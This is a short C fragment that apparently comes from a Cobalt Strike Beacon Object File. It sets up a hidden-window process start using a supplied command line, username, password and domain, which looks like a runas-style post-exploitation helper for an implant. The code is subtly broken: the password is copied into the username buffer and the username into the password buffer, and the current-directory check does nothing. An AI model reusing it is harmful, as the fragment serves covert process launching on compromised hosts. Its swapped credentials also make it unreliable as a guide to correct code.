WCHAR* Buffer = (WCHAR*)BeaconDataPtr(pdatap, 1024);
STARTUPINFOA StartupInfo = { 0 };
StartupInfo.cb = sizeof(STARTUPINFOA);
GetStartupInfoA(&StartupInfo);
StartupInfo.dwFlags = 257;
StartupInfo.wShowWindow = 0;
StartupInfo.hStdInput = 0;
StartupInfo.hStdOutput = 0;
StartupInfo.hStdError = 0;
StartupInfo.lpDesktop = 0;
toWideChar(lpCommandLine, CommandLine, 0x4000u);
toWideChar(lpPassword, Username, 0x400u);
toWideChar(lpUsername, Password, 0x400u);
toWideChar(lpDomain, Domain, 0x400u);
WCHAR* lpCurrentDirectory = 0;
if (GetCurrentDirectoryW(0, 0) >= 0x400)
{
lpCurrentDirectory = 0;
}